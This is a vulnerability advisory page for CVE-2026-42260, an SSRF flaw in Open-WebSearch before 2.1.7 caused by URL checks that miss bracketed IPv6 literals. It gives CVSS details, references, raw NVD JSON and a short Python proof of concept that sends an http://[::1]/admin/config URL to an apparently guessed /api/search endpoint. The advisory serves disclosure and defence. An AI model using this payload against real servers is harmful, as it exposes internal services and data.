CVE-2026-42260

Description

Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open-WebSearch < 2.1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-42260
# This script demonstrates the SSRF vulnerability by targeting the localhost via IPv6.

import requests

def trigger_ssrf(target_server):
    # The vulnerable endpoint expects a URL parameter
    # The application fails to block bracketed IPv6 literals like [::1]
    malicious_url = "http://[::1]/admin/config" 
    
    payload = {
        "url": malicious_url
    }
    
    print(f"[*] Attempting to send SSRF request to: {target_server}")
    print(f"[*] Payload URL: {malicious_url}")
    
    try:
        response = requests.post(target_server, json=payload)
        if response.status_code == 200:
            print("[+] Request successful. Response body:")
            print(response.text)
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual vulnerable endpoint
    target = "http://localhost:8080/api/search"
    trigger_ssrf(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42260
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42260
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42260/
[4] VulDB https://vuldb.com/cve/CVE-2026-42260
[5] https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j
[6] https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42260", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:15.150", "lastModified": "2026-05-14T20:17:04.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open-WebSearch is a multi-engine MCP server, CLI, and local daemon for agent web search and content retrieval. Prior to 2.1.7, isPublicHttpUrl / assertPublicHttpUrl in src/utils/urlSafety.ts do not recognize bracketed IPv6 literals and do not resolve DNS, which combine to allow non-blind SSRF with the response body returned to the caller. This vulnerability is fixed in 2.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j", "source": "[email protected]"}, {"url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}